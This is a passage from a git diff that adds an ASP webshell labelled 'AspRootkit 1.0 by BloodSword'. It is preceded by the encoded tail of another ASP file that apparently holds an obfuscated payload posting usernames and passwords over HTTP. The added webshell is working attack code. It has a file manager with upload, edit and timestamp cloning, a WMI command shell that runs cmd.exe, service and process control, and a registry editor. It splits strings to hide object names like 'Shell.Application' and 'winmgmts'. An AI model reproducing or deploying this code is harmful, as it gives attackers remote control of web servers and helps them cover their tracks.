?nU9`s+m-+k#@#@&U+Y~ahrjK{UKY4bxT@#@&"IU~`r命令成功执行！！sPn,用户名)~E,[PD;/DPL~EPrPLPE密码)~E,[~YaC/kP'~rP路径)~E,[~YaCDt~LPrP)*@!(.@*@!A]@*r#@#@&V/@#@&^+l7ndP{Prjd+.~rP'P`dD,[~-(mDsW@#@&s+m-/~{P^+l7+k~[,JKlk/~E,[PaAN,[P78^D^0@#@&s+C-/~',s+m\nd,[PEj&K3Pt)&1PA1z1ZAJ,'P74^D^0@#@&^+l7n/,'P^nC\/,[~JR9AS3KAi?AIE~LP\8^MVWPL~rO(h'ZR!c!cTJ,[~\(m.s6P[,EOhWDDHG'rPLPOwG.DP'P78mMVW~LPJ~ik+.'r~LPO!/DPLP78mMVW@#@&?nO,6nKdY2P',/.+mYr8Ln^D`EHUpHd  ptSCPPhJb@#@&ahWdD&crwx,En}?PJBPE4DYw=&z8 GcT !cF=J'P2GMY~[r&Vl-nkJ~~PMEn@#@&ahWdD&c?+	Nvs+m\n/*@#@&jYPXKrUK&{UGY4k	o@#@&]]UPE@!6GxDP^G^WDx:60W06W@*rF}|}|@!J0KUY@*@!8D@*@!$]@*J@#@&nx9Pk6@#@&2	N,s;x^ObWU@#@&/lk+~EUmlU9Mk-+wGM:E,@#@&P?1l	9Db\nsKDh@#@&PZmd+,J?1CUfMk7+EP~~,P@#@&,~?1lU9Mk\n~"+5EdD`EGDb\+r#@#@&P,ZC/PEj1sW^[+MJP,~~P,@#@&P~Pj^wWsN.P"+5;/YcEwWsN.r#@#@&mm/+,Jm2L9+sJ=l2%9+Vvb)1l/~E?D7E{6ElkE{`*lmm/n~r0E"4!Y5Frl6E"4ED;Fv#=^lk+~J6E"4!Y;yE)6Ey4;O;y`*)^ldn,JWE.4ED;fE=0E"4!Y5&vb=mCk+,J0!y4;Y$cE)6E"4!Y;Wc#=mlkn~J6E.t;Y5Xr)WE.4ED;Xc*)mCdPEZs[yJl1:9 `*)1C/PE/!0O2r)/!WYa`#=^C/J4k[NnUktnV^E)4k[[x/4n^Vc#=^m/n,Jatwr)a4wv#lmm/n~rl/aaJ=l/aac#=mm/nPE%kwE)Ndwv#l/m/+~EtH9J=\tfc*);l/PrCNskUl(JlC9:k	C4v#);Cd+,Jk;sJld$Vc#=/lk+~E9WhUsKl[/rl9WA	VKlNk`*lZm/nPrInC9I2VE)1lV^~]+mN"2!`bl;ld+,ElDYEl1lVs~mYO`*l;ldPr?tKh8ok^+E)U+O~zAZ{H+SPS~olb~Zc?4WAqwks+vj+k/rG	`JoG^NnDhCDtE*#=?+DPz$Z{1GY4kUL=ZlknPrfWSUok^+r)9WAUwks+,o1m:nlUtWA3MDc#=/m/n,JG+Vwk^nJ=?nY,b$/{1+S~S~s)z$/RG+^srVncw1C:b)U+O~zAZxHKY4k	L=ZCk+,J29kDok^+E)U+O~zAZ{H+SPS~olb~Zc2[kOobVn`wHls+blU+Y~)~Zx1KO4kUT);l/Pr/WaXok^+ElU+Y,)A;'1A~S~s=b$Z /Kwzsbs+vsHCs+#ljY~b~/{1GDtbxo=Zmd+,J\W7+or^+J=j+DPb~/x1h,S$sl)~Z HK-+wksnvs1Ch#l?O,b$;'gWY4k	L);ld+,J9n^sW^[+MJ)UnOPzA;'H+A~dAo)z$ZcfnswWV[nM`o1mh#lU+DPb~Z{HWDtrxT)/Ck+Pr/WaXsKs[+MJ=?nY~)~Zx1APdAolzAZ /KwzsKs9+.vsgl:#=j+DP)A;'HGDtk	L);l/~EHK\sGV[nMJl?OPzA/xg+h~J~slb~/cHG7+wWV9+Mcsglh+*)jnDPb~/'gWY4rUo=Zm/nPEHhoW^[+MJljYP)$;'H+S~dAo=b~ZRg+SoW^NnDvsHCs+#=j+DPb~/x1KY4kUol/m/nPriwwksnr)j2obVn`*l;ldPrZ:9FU4+^VE);:[qUt+^s`*)ZmdnPrSKoGEOE=?n/krW	R/G	Y+UOkR]+sG7+crh4 m 9hk	Jb)"+d2Kx/ INkMn^Y,j"SlZCdPEZMnlD+\[(J)/.lO+t[(Pogls+);lknPrZG:al^OtN4rlZK:wm^OH94,sHlhn=ZC/~JG4\C	lon.r)94tC	lLDv#);lknPrZGEM/nE=ZW!./`#=/C/Pr?nD-nMqU0KE)U+.-DqUWK`b);Ck+~AVk+PtlbUsKDh`*)3U9P?s+1Y)AanZ!YPjkUWK2U`r.`ADGAUtx~4POE?.7?n@*U	@!kKmD~bb0b=^@*OhJt@*@![X(W@!Jj=I"Ur~KWdb@#@&.+k2W	/n SDkOn,JE_78;DJ6_rJ_74;.S6_EJ@#@&h5prAA==^#~@%>
\ No newline at end of file
diff --git a/asp/Cmd鏀寔绠＄悊鍛樼櫥闄嗙殑webshell.asp b/asp/Cmd鏀寔绠＄悊鍛樼櫥闄嗙殑webshell.asp
new file mode 100644
index 0000000..2b7f0b1
--- /dev/null
+++ b/asp/Cmd鏀寔绠＄悊鍛樼櫥闄嗙殑webshell.asp
@@ -0,0 +1,1715 @@
+<%@ LANGUAGE='VBScript' CODEPAGE='65001'%>
+<%
+Response.Buffer=True
+Response.Charset="utf-8"
+Server.ScriptTimeOut=300
+'-------------------------------Config-------------------------------
+Const zvhy=False
+Const ybd=43
+Const qjr=False
+Const miih="."
+Const xdl="vqsbz|jzgm|ndie|puvgw|rrr"
+Const cbrh="GB2312"
+'-------------------------------Config-------------------------------
+Dim goaction,vqsbz,jzgm,ndie,puvgw,dut,blhvq,erd,ykzg,jnnb,zfbn,fac,vqt,cwp,wbk,jozsz,rqg,nedsl,acxze,cxkyk,igiqh,xxyj,spmh,yug,mhve,xacj,iqg,rsq,szgk,xnqtl,zsckm,gkyv,rrr,anpj,mee,mgy,eoz,bnes,bljd,fmsm,jpklj,zgn,eduj,edg,fnc
+xacj="AspRootkit 1.0 by BloodSword"
+If Request(goaction)="" And Trim(gbba("AUTH_USER"))="" Then
+Response.Status="401 Unauthorized"
+Response.Addheader"WWW-AuThenticate", "NTLM"
+If gbba("AUTH_USER")=""Then Response.End
+'zhv"You did'nt login as the system administrators,there's lots of things you can't do -_-~!"
+End If
+sndu()
+Select Case goaction
+Case"pmy"
+ditm()
+Case"ulxbb"
+ylka()
+Case"jdwtp"
+muwq()
+Case"kqmyb"
+efbac()
+Case"lmwgb"
+snrt()
+Case"umh"
+qvetz()
+Case"ukpy"
+ihm()
+Case"xcngn"
+ehyx()
+Case"bbr"
+cyk()
+Case"xpodw"
+qxbon()
+Case Else
+cyk()
+End Select
+sbbo()
+Sub sndu()
+If Not qjr Then On Error Resume Next
+zfbn=Timer()
+Dim ndrck,xxzhu,qvtlx,fzro,vgm,tkl,isp
+servurl=gbba("URL")
+Set dut=mfmq("Script"&nrh&"ing.File"&nvkq&"SystemObject")
+Set erd=mfmq("Sh"&kpa&"ell.Applicat"&ffr&"ion")
+Set blhvq=new RegExp
+blhvq.Global=True
+blhvq.IgnoreCase=True
+blhvq.MultiLine=True
+For Each xxzhu In request.queryString
+execute""&xxzhu&"=request.queryString("""&xxzhu&""")"
+Next
+For Each ndrck In request.Form
+execute""&ndrck&"=request.form("""&ndrck&""")"
+Next
+isp=Split(xdl,"|")
+For Each tkl In isp
+execute""&tkl&"=wdhw("&tkl&")"
+Next
+xnqtl=gbba("SERVER_NAME")
+ykzg=gbba("PATH_INFO")
+jnnb=LCase(smfap(ykzg,"/"))
+vqt=dhh(".")
+cwp=dhh("/")
+If acxze<>"tngdz"And Right(vqsbz,1)="\"Then vqsbz=Left(vqsbz,Len(vqsbz)-1)
+If Len(vqsbz)=2 Then vqsbz=vqsbz&"\"
+nedsl=1
+jozsz=1
+End Sub
+Sub sbbo()
+If Not qjr Then On Error Resume Next
+Dim apwc
+Set dut=Nothing
+Set erd=Nothing
+Set blhvq=Nothing
+Set zsckm=Nothing
+fac=timer()
+apwc=fac-zfbn
+echo"<br></div>"
+ltvq"100%"
+echo"<tr class=""head"">"
+echo"<td>"
+eedi wbk
+apwc=FormatNumber(apwc,5)
+If Left(apwc,1)="."Then apwc="0"&apwc
+eedi"<br>"
+echo"<div align=right>Processed in :"&apwc&"seconds</div></td></tr></table></body></html>"
+Response.End()
+End Sub
+Sub cyk()
+goaction="bbr"
+If Not qjr Then On Error Resume Next
+If vqsbz=""Then vqsbz=puvgw
+If vqsbz=""Then vqsbz=vqt
+If acxze="down"Then
+qws()
+Response.End()
+End If
+fpx("FSO File Explorer")
+Select Case acxze
+Case"oql","sgqly"
+vuh()
+vqsbz=lgk(vqsbz,"\",False)
+Case"vwsrt"
+vwsrt()
+Case"save","seii"
+tyh()
+vqsbz=lgk(vqsbz,"\",False)
+Case"tngdz"
+uvrs()
+vqsbz=lgk(vqsbz,"\",False)
+Case"wqj","rjfr"
+wqj()
+Case"wsf","nhlnt"
+mgxnb()
+vqsbz=lgk(vqsbz,"\",False)
+Case"tbqwf","ejgn","vihy","ewvk"
+jreg()
+vqsbz=lgk(vqsbz,"\",False)
+Case"uzmjs"
+ywqif()
+Case"ffgo"
+ywc()
+vqsbz=lgk(vqsbz,"\",False)
+End Select
+If Len(vqsbz)<3 Then vqsbz=vqsbz&"\"
+bbr()
+End Sub
+Sub bbr()
+Dim aqwr,qvgzg,lwn,tlknr,xmg,kyirr,qsob,woaee
+If Not qjr Then On Error Resume Next
+Set aqwr=dut.GetFolder(vqsbz)
+tlknr=dut.GetParentFolderName(vqsbz)
+woaee=vqsbz
+If Right(woaee,1)<>"\"Then woaee=woaee&"\"
+xze"woaee",woaee
+ztlif True
+echo"Current Path :"
+pisa"text","vqsbz",vqsbz,120,""
+eedi""
+uxzf"","170px","onchange=""javascript:if(this.value!=''){adwba('"&goaction&"','',this.value);}"""
+zepw"","Drivers/Comm folders"
+zepw HtmlEncode(dhh(".")),"."
+zepw HtmlEncode(dhh("/")),"/"
+zepw"","----------------"
+For Each drive In dut.Drives
+zepw drive.DriveLetter&":\",drive.DriveLetter&":\"
+Next
+zepw"","----------------"
+zepw"C:\Program Files","C:\Program Files"
+zepw"C:\Program Files\RhinoSoft.com","RhinoSoft.com"
+zepw"C:\Program Files\Serv-U","Serv-U"
+zepw"C:\Program Files\Radmin","Radmin"
+zepw"C:\Program Files\Microsoft SQL Server","Mssql"
+zepw"C:\Program Files\Mysql","Mysql"
+zepw"","----------------"
+zepw"C:\Documents and Settings\All Users","All Users"
+zepw"C:\Documents and Settings\All Users\Documents","Documents"
+zepw"C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere","PcAnywhere"
+zepw"C:\Documents and Settings\All Users\Start Menu\Programs","Start Menu->Programs"
+zepw"","----------------"
+zepw"D:\Program Files","D:\Program Files"
+zepw"D:\Serv-U","D:\Serv-U"
+zepw"D:\Radmin","D:\Radmin"
+zepw"D:\Mysql","D:\Mysql"
+fndid
+adwba"Go"
+zro
+eedi"<br><form method=""post"" id=""upform""action="""&ykzg&"""enctype=""multipart/form-data"">"
+pisa"file","file","","",""
+echo"Save As : "
+pisa"text","vqsbz",vqsbz,40,""
+pisa"checkbox","xxyj",1,"",""
+echo" OverWrite "
+pisa"button","","Upload","","onclick=""javascript:adwba('"&goaction&"','tngdz','')"""
+zro
+ztlif True
+pisa"text","yug","",20,""
+xze"vqsbz",vqsbz
+xze"acxze","vwsrt"
+pisa"radio","mhve","file","","checked"
+echo"File"
+pisa"radio","mhve","folder","",""
+echo"Folder"
+adwba"New one"
+zro
+echo"<hr>"
+If Not dut.FolderExists(vqsbz)Then
+zhv vqsbz&" Folder dosen't exists or access denied!"
+sbbo
+End If
+iquhg"Folders",False
+ltvq"100%"
+tygwb
+doTd"<b>Folder name</b>","20%"
+doTd"<b>Size</b>","20%"
+doTd"<b>Last modified</b>","20%"
+doTd"<b>Action</b>","40%"
+igl
+abywz 0
+eedi"<td colspan=""4""><a href=""javascript:adwba('"&goaction&"','','"&utzvg(tlknr)&"')"">Parent Directory</a></td>"
+igl
+jozsz=1
+For Each objX In aqwr.SubFolders
+qsob=objX.DateLastModified
+abywz jozsz
+doTd"<a href=""javascript:adwba('"&goaction&"','','"&objX.Name&"');"">"&objX.Name&"</a>",""
+doTd htmlEncode("<dir>"),""
+doTd qsob,""
+echo"<td>"
+eedi"<a href=""javascript:adwba('"&goaction&"','vihy','"&objX.Name&"')"">Copy</a> -"
+eedi"<a href=""javascript:adwba('"&goaction&"','ewvk','"&objX.Name&"')"">Move</a> -"
+eedi"<a href=""javascript:adwba('"&goaction&"','nhlnt','"&objX.Name&"')"">Rename</a> -"
+eedi"<a href=""javascript:adwba('"&goaction&"','sgqly','"&objX.Name&"')"">Delete</a>"
+eedi"</td>"
+igl
+uuuk
+Next
+xlvqe
+eedi"</span><br>"
+iquhg"Files",False
+ltvq"100%"
+echo"<b>"
+tygwb
+doTd"<b>File name</b>","20%"
+doTd"<b>Size</b>","20%"
+doTd"<b>Last modified</b>","20%"
+doTd"<b>Action</b>","40%"
+igl
+echo"</b>"
+jozsz=0
+For Each objX In aqwr.Files
+xmg=pkn(objX.Size)
+qsob=objX.DateLastModified
+If LCase(Left(objX.Path,Len(cwp)))<>LCase(cwp) Then
+qvgzg=""
+Else
+qvgzg=Replace(Replace(qtyi(Mid(objX.Path,Len(cwp) + 1)),"%2E","."),"+","%20")
+End If
+abywz jozsz
+If qvgzg=""Then
+doTd objX.Name,""
+Else
+doTd"<a href='"&Replace(qvgzg,"%5C","/")&"' target=_blank>"&objX.Name&"</a>",""
+End If
+doTd xmg,""
+doTd qsob,""
+echo"<td>"
+eedi"<a href=""javascript:adwba('"&goaction&"','wqj','"&objX.Name&"')"">Edit</a> -"
+eedi"<a href=""javascript:adwba('"&goaction&"','tbqwf','"&objX.Name&"')"">Copy</a> -"
+eedi"<a href=""javascript:adwba('"&goaction&"','ejgn','"&objX.Name&"')"">Move</a> -"
+eedi"<a href=""javascript:adwba('"&goaction&"','wsf','"&objX.Name&"')"">Rename</a> -"
+eedi"<a href=""javascript:adwba('"&goaction&"','down','"&objX.Name&"')"">Down</a> -"
+eedi"<a href=""javascript:adwba('"&goaction&"','uzmjs','"&objX.Name&"')"">Attributes</a> -"
+eedi"<a href=""javascript:adwba('"&goaction&"','oql','"&objX.Name&"')"">Delete</a>"
+eedi"</td>"
+igl
+uuuk
+Next
+xlvqe
+echo"</span>"
+smeb(Err)
+End Sub
+Sub ywqif()
+Dim qwsdh,npyi,gwp,cxmsb,afqj,advu,yiq,nqui
+If Not qjr Then On Error Resume Next
+If IsObject(dut)Then
+Set qwsdh=dut.GetFile(vqsbz)
+End If
+If IsObject(erd)Then
+yiq=lgk(vqsbz,"\",False)
+gwp=smfap(vqsbz,"\")
+Set advu=erd.NameSpace(yiq)
+Set npyi=advu.ParseName(gwp)
+End If
+echo"<center>"
+ltvq"60%"
+ztlif True
+xze"acxze","ffgo"
+xze"vqsbz",vqsbz
+tygwb
+ncxl"Set attribute","40%"
+doTd vqsbz,"60%"
+igl
+abywz 0
+doTd"Attributes",""
+If IsObject(dut)Then
+afqj=qwsdh.Attributes
+cxmsb="<input type=checkbox name=szgk value=4 class='input' {$system}>system "
+cxmsb=cxmsb&"<input type=checkbox name=szgk value=2 class='input' {$hidden}>hide "
+cxmsb=cxmsb&"<input type=checkbox name=szgk value=1 class='input' {$readonly}>readonly "
+cxmsb=cxmsb&"<input type=checkbox name=szgk value=32 class='input' {$archive}>save "
+If afqj>=128 Then afqj=afqj-128
+If afqj>=64 Then afqj=afqj-64
+If afqj>=32 Then
+afqj=afqj-32
+cxmsb=Replace(cxmsb, "{$archive}", "checked")
+End If
+If afqj>=16 Then afqj=afqj-16
+If afqj>=8 Then afqj=afqj-8
+If afqj>=4 Then
+afqj=afqj-4
+cxmsb=Replace(cxmsb, "{$system}", "checked")
+End If
+If afqj>=2 Then
+afqj=afqj-2
+cxmsb=Replace(cxmsb, "{$hidden}", "checked")
+End If
+If afqj>=1 Then
+afqj=afqj-1
+cxmsb=Replace(cxmsb, "{$readonly}", "checked")
+End If
+doTd cxmsb,""
+Else
+doTd"FSO object disabled,can't get/set attributes -_-~!",""
+End If
+igl
+If IsObject(erd)Then
+abywz 1
+doTd"Date created",""
+doTd advu.GetDetailsOf(npyi,4),""
+igl
+abywz 0
+doTd"Date last modified",""
+luhhh"text","iqg",advu.GetDetailsOf(npyi,3),"","",""
+igl
+abywz 1
+doTd"Date last accessed",""
+doTd advu.GetDetailsOf(npyi,5),""
+igl
+Else
+abywz 1
+doTd"Date created",""
+doTd qwsdh.DateCreated,""
+igl
+abywz 0
+doTd"Date last modified",""
+doTd qwsdh.DateLastModified,""
+igl
+abywz 1
+doTd"Date last accessed",""
+doTd qwsdh.DateLastAccessed,""
+igl
+End If
+zro
+ztlif True
+xze"acxze","ffgo"
+xze"vqsbz",vqsbz
+abywz 0
+If IsObject(erd)Then
+ncxl"Clone time ",""
+echo"<td>"
+uxzf"rsq","100%",""
+For Each objX In advu.Items
+If Not objX.IsFolder Then
+nqui=smfap(objX.Path,"\")
+zepw nqui,advu.GetDetailsOf(advu.ParseName(nqui),3)&" --- "&nqui
+End If
+Next
+Else
+echo"<td colspan=2>App object disabled,can't modify time -_-~!</td>"
+End If
+xlvqe
+zro
+sbbo()
+End Sub
+Sub ywc()
+If Not qjr Then On Error Resume Next
+Dim nboac,qwsdh,yiq,gwp,advu,npyi
+If IsObject(dut)Then
+Set qwsdh=dut.GetFile(vqsbz)
+End If
+If IsObject(erd)Then
+yiq=lgk(vqsbz,"\",False)
+gwp=smfap(vqsbz,"\")
+Set advu=erd.NameSpace(yiq)
+Set npyi=advu.ParseName(gwp)
+End If
+'echo szgk
+If szgk<>""Then
+szgk=Split(Replace(szgk," ",""),",")
+echo"fuck"
+For i=0 To UBound(szgk)
+nboac=nboac+CInt(szgk(i))
+Next
+qwsdh.Attributes=nboac
+If Err Then
+smeb(Err)
+Else
+zhv"Attributes modified"
+End If
+End If
+If iqg<>"" And IsDate(iqg)Then
+npyi.ModifyDate=iqg
+If Err Then
+smeb(Err)
+Else
+zhv"Time modified"
+End If
+End If
+If rsq<>""Then
+npyi.ModifyDate=advu.GetDetailsOf(advu.ParseName(rsq),3)
+If Err Then
+smeb(Err)
+Else
+zhv"Time modified"
+End If
+End If
+End Sub
+Function pkn(yxa)
+If yxa>=(1024 * 1024 * 1024)Then pkn=Fix((yxa /(1024 * 1024 * 1024))* 100)/ 100&"G"
+If yxa>=(1024 * 1024)And yxa<(1024 * 1024 * 1024)Then pkn=Fix((yxa /(1024 * 1024))* 100)/ 100&"M"
+If yxa>=1024 And yxa<(1024 * 1024)Then pkn=Fix((yxa / 1024)* 100)/ 100&"K"
+If yxa>=0 And yxa<1024 Then pkn=yxa&"B"
+End Function
+Sub wqj()
+If Not qjr Then On Error Resume Next
+Dim theFile,xzgyk,ooz,ifc
+If Right(vqsbz,1)="\"Then
+zhv"Can't edit a directory!"
+sbbo
+End If
+ooz=lgk(vqsbz,"\",False)
+ztlif True
+If acxze="wqj" Then
+xzgyk=tortz(vqsbz)
+Else
+xzgyk=zhxc(vqsbz)
+End If
+smeb(Err)
+pvrd"spmh",xzgyk,"100%","25",""
+If acxze="rjfr" Then
+xze"acxze","seii"
+Else
+xze"acxze","save"
+End If
+echo"Save as :"
+pisa"text","vqsbz",vqsbz,"60",""
+echo" Encode:"
+uxzf"act","80px","onchange=""javascript:if(this.value!=''){adwba('"&goaction&"',this.value,'"&utzvg(vqsbz)&"');}"""
+zepw"wqj","Default"
+ifc="<option value=""rjfr"" {$}>Utf-8</option>"
+If acxze="rjfr" Then
+ifc=Replace(ifc,"{$}","selected")
+End If
+echo ifc
+fndid
+echo" "
+adwba"Save"
+echo" "
+pisa"reset","","Reset","",""
+echo" "
+pisa"button","clear","Clear","","onclick=""javascript:this.form.spmh.innerText=''"""
+echo" "
+pisa"button","","Go back","","onclick=""javascript:adwba('"&goaction&"','','"&utzvg(ooz)&"')"""
+zro
+smeb(Err)
+sbbo
+End Sub
+Sub tyh()
+If Not qjr Then On Error Resume Next
+If acxze="save" Then
+vtyjq vqsbz,spmh
+Else
+oooeu vqsbz,spmh
+End If
+If Err Then
+smeb(Err)
+Else
+zhv"File saved."
+End If
+End Sub
+Sub ditm()
+fpx("Cmd Shell")
+Dim wolw,ss,oc,snqsz,vdtyh
+If Not qjr Then On Error Resume Next
+If jzgm<>"" Then
+Set zsckm=dtwz("wi"&kcb&"nmgmts:\\.\ro"&todxo&"ot\ci"&dmly&"mv2")
+Set wolw=zsckm.Get("Win32_Pro"&ivj&"cess")
+set ss=zsckm.get("Win32_ProcessSta"&uyy&"rtup")
+Set oc=ss.SpawnInstance_
+oc.ShowWindow=12
+snqsz=wolw.create(jzgm,null,oC,vdtyh)
+If snqsz=0 Then
+zhv"com"&sruz&"mand execute succeed!Refresh the iframe below to check result."
+Else
+zhv"com"&sruz&"mand execute fail-_-!RPWT?"
+End If
+Set wolw=Nothing
+Set ss=Nothing
+Set oc=Nothing
+ElseIf acxze="viewResult" Then
+Response.Clear
+echo "<body bgcolor='#ededed'>"&htmlEncode(tortz(rrr))&"</body>"
+Response.End
+End If
+smeb(Err)
+ltvq"100%"
+ztlif True
+abywz 1
+doTd"com"&sruz&"mand","10%"
+If jzgm=""Then jzgm="cmd.exe /c net user"
+If rrr=""Then rrr=cwp&"\temp.txt"
+luhhh"text","jzgm",jzgm,"80%","",""
+ncxl"Run ",""
+igl
+abywz 0
+doTd">",""
+luhhh"text","rrr",rrr,"","",""
+luhhh"button","","Echo","","onclick='javascript:this.form.jzgm.value=this.form.jzgm.value+"" > ""+this.form.rrr.value'",""
+igl
+zro
+xlvqe
+echo"<hr>"
+pisa"button","","Refresh result","","onclick=""javascript:argnp()"""
+echo"<br><br><iframe id='cmdResult' class='frame' frameborder='no'></iframe>"
+End Sub
+Sub ylka()
+fpx("Service List")
+Dim glip,bond,kbap
+If Not qjr Then On Error Resume Next
+Set zsckm=dtwz("wi"&kcb&"nmgmts:\\.\ro"&todxo&"ot\ci"&dmly&"mv2")
+If acxze="startone" Or acxze="stopone" Then
+gyxm(puvgw)
+End If
+Set bond=zsckm.InstancesOf("Win3"&dwt&"2_Service")
+ltvq "100%"
+echo "<tr class='link'>"
+doTd "<b>Name</b>",""
+doTd "<b>Display Name</b>",""
+doTd "<b>Path</b>","40%"
+doTd "<b>Start Mode</b>",""
+doTd "<b>State</b>",""
+doTd "<b>Action</b>",""
+igl
+jozsz=0
+For Each glip In bond
+kbap=False
+If LCase(glip.State)="running"Then kbap=True
+abywz jozsz
+doTd glip.Name,""
+doTd glip.DisplayName,""
+doTd glip.PathName,""
+doTd glip.StartMode,""
+If kbap Then
+snqs glip.State,"green",""
+doTd"<a href=""javascript:adwba('"&goaction&"','stopone','"&glip.Name&"')"">Stop</a>",""
+Else
+snqs glip.State,"red",""
+doTd"<a href=""javascript:adwba('"&goaction&"','startone','"&glip.Name&"')"">Start</a>",""
+End If
+igl
+uuuk
+Next
+End Sub
+Sub gyxm(dlzu)
+Dim qxau,glip
+If Not qjr Then On Error Resume Next
+Set zsckm=dtwz("wi"&kcb&"nmgmts:\\.\ro"&todxo&"ot\ci"&dmly&"mv2")
+Set qxau=zsckm.ExecQuery("select * from Win3"&dwt&"2_Service where Name='"&dlzu&"'")
+For Each glip In qxau
+If acxze="startone" Then
+glip.StartService()
+Else
+glip.StopService()
+End If
+Next
+If Err Then
+smeb(Err)
+Else
+zhv"Service successfully start/stoped!"
+End If
+End Sub
+Sub muwq()
+fpx("Process List")
+Dim cpmvi,ijre,kbap
+If Not qjr Then On Error Resume Next
+Set zsckm=dtwz("wi"&kcb&"nmgmts:\\.\ro"&todxo&"ot\ci"&dmly&"mv2")
+If acxze="stopone" Then
+ylwre(puvgw)
+End If
+Set ijre=zsckm.InstancesOf("Win32_Pro"&ivj&"cess")
+ltvq "100%"
+echo "<tr class='link'>"
+doTd "<b>PID</b>",""
+doTd "<b>Name</b>",""
+doTd "<b>Path</b>",""
+doTd "<b>Action</b>",""
+igl
+jozsz=0
+For Each cpmvi In ijre
+abywz jozsz
+doTd cpmvi.ProcessId,""
+doTd cpmvi.Name,""
+doTd cpmvi.ExecutablePath,""
+If cpmvi.ExecutablePath<>""Then
+doTd"<a href=""javascript:adwba('"&goaction&"','stopone','"&cpmvi.ProcessId&"')"">Terminate</a>",""
+Else
+doTd"--",""
+End If
+igl
+uuuk
+Next
+End Sub
+Sub ylwre(pid)
+Dim ijre,glip
+If Not qjr Then On Error Resume Next
+Set zsckm=dtwz("wi"&kcb&"nmgmts:\\.\ro"&todxo&"ot\ci"&dmly&"mv2")
+Set ijre=zsckm.ExecQuery("select * from Win32_Pro"&ivj&"cess where ProcessId='"&pid&"'")
+For Each cpmvi In ijre
+If cpmvi.Terminate()=0 Then
+zhv"Process terminate succeed!"
+Else
+zhv"Process terminate fail-_-!"
+End If
+Next
+End Sub
+Sub efbac()
+If Not qjr Then On Error Resume Next
+If ndie=""Then ndie=puvgw
+anpj=Split("HKEY_CLASSE"&cbppq&"S_ROOT|HKEY_CURRENT_US"&nhm&"ER|HKEY_LOCAL_MACHI"&toev&"NE|HKEY_U"&lzwqj&"SERS|HKE"&mxdz&"Y_CURRENT_CONFIG","|")
+If Right(ndie,1)="\" Then ndie=Left(ndie,Len(ndie)-1)
+If InStr(ndie,"\")>0 Then
+bljd=lgk(ndie,"\",True)
+fmsm=Mid(ndie,Len(bljd)+2)
+Else
+bljd=ndie
+fmsm=""
+End If
+Select Case UCase(bljd)
+Case "HKEY_CLASSE"&cbppq&"S_ROOT"
+jpklj=&H80000000
+Case "HKEY_CURRENT_US"&nhm&"ER"
+jpklj=&H80000001
+Case "HKEY_LOCAL_MACHI"&toev&"NE"
+jpklj=&H80000002
+Case "HKEY_U"&lzwqj&"SERS"
+jpklj=&H80000003
+Case "HKE"&mxdz&"Y_CURRENT_CONFIG"
+jpklj=&H80000004
+End Select
+Set bnes=dtwz("wi"&kcb&"nmgmts:\\.\ro"&todxo&"ot\default:StdRegP"&bqlnw&"rov")
+Select Case acxze
+Case "dxc","pppau"
+aso()
+Case "wscnt"
+ncyl()
+End Select
+fpx("Reg Shell")
+ztlif True
+ltvq "80%"
+abywz 1
+doTd"Registry Path","10%"
+luhhh"text","ndie",ndie,"80%","",""
+ncxl"Go","10%"
+igl
+abywz 0
+echo"<td colspan='3'>"
+For Each strRootKey In anpj
+echo "<a href=""javascript:adwba('"&goaction&"','','"&strRootKey&"')"">"&strRootKey&"</a> | "
+Next
+igl
+zro
+ztlif True
+abywz 1
+xze "acxze","wscnt"
+xze "ndie",ndie
+doTd"Name : ",""
+echo"<td>"
+pisa"text","mee","","30",""
+echo" Type : "
+uxzf"mgy","120px",""
+zepw"key","SubKey"
+zepw"str","String"
+zepw"bsgop","ExpandedString"
+zepw"dwd","DWORD"
+zepw"xrvxd","MultiString"
+fndid
+echo" Value : "
+pisa"text","eoz","","50",""
+echo"</td>"
+ncxl"Set",""
+zro
+igl
+xlvqe
+echo"<br><li>Multi string value splits with ',',you can create new items,or just modify what exists : )</li><hr>"
+ykoo()
+Set bnes=Nothing
+End Sub
+Sub ykoo()
+Dim afd,ssdxp,vfqws
+If Not qjr Then On Error Resume Next
+iquhg"SubKeys",False
+ltvq "100%"
+tygwb
+doTd"<b>Name</b>",""
+doTd"<b>Action</b>",""
+igl
+If ndie=""Then
+jozsz=0
+For Each strRootKey In anpj
+abywz jozsz
+doTd"<a href=""javascript:adwba('"&goaction&"','','"&strRootKey&"')"">"&strRootKey&"</a>",""
+doTd"",""
+uuuk
+Next
+Else
+abywz 0
+echo"<td colspan='2'><a href=""javascript:adwba('"&goaction&"','','"&utzvg(lgk(ndie,"\",False))&"')"">Parent Key</a></td>"
+igl
+jozsz=1
+bnes.EnumKey jpklj,fmsm,afd
+If IsArray(afd)Then
+For Each strSubKey In afd
+abywz jozsz
+doTd "<a href=""javascript:adwba('"&goaction&"','','"&strSubKey&"')"">"&strSubKey&"</a>",""
+doTd"<a href=""javascript:adwba('"&goaction&"','dxc','"&strSubKey&"')"">Delete</a>",""
+igl
+uuuk
+Next
+End If
+bnes.EnumValues jpklj,fmsm,ssdxp,vfqws
+If IsArray(ssdxp)Then
+xlvqe
+echo"</span><br>"
+iquhg"Values",False
+ltvq"100%"
+tygwb
+doTd"<b>Name</b>",""
+doTd"<b>Type</b>",""
+doTd"<b>Value</b>",""
+doTd"<b>Action</b>",""
+igl
+jozsz=0
+For i=0 To UBound(ssdxp)
+ztmjf jpklj,fmsm,ssdxp(i),vfqws(i)
+Next
+End If
+End If
+xlvqe
+eedi"</span>"
+smeb(Err)
+End Sub
+Sub ztmjf(jpklj,fmsm,gwp,bpz)
+Dim vjrs,auya,jdl
+If Not qjr Then On Error Resume Next
+auya=""
+abywz jozsz
+Select Case bpz
+Case 1
+bnes.GetStringValue jpklj,fmsm,gwp,vjrs
+jdl="String"
+Case 2
+bnes.GetExpandedStringValue jpklj,fmsm,gwp,vjrs
+jdl="ExpandedString"
+Case 3
+bnes.GetBinaryValue jpklj,fmsm,gwp,vjrs
+jdl="Binary"
+Case 4
+bnes.GetDWORDValue jpklj,fmsm,gwp,vjrs
+jdl="DWORD"
+Case 7
+bnes.GetMultiStringValue jpklj,fmsm,gwp,vjrs
+jdl="MultiString"
+End Select
+If IsArray(vjrs)Then
+If bpz=3 Then
+For i=0 To UBound(vjrs)
+If CInt(vjrs(i))<16 Then
+auya=auya&"0"
+End If
+auya=auya&CStr(Hex(CInt(vjrs(i))))
+Next
+Else
+auya=Join(vjrs,",")
+End If
+Else
+auya=CStr(vjrs)
+End If
+doTd gwp,""
+doTd jdl,""
+doTd auya,""
+eedi"<td><a href=""javascript:adwba('"&goaction&"','pppau','"&gwp&"')"">Delete</a>"
+igl
+uuuk
+End Sub
+Sub aso()
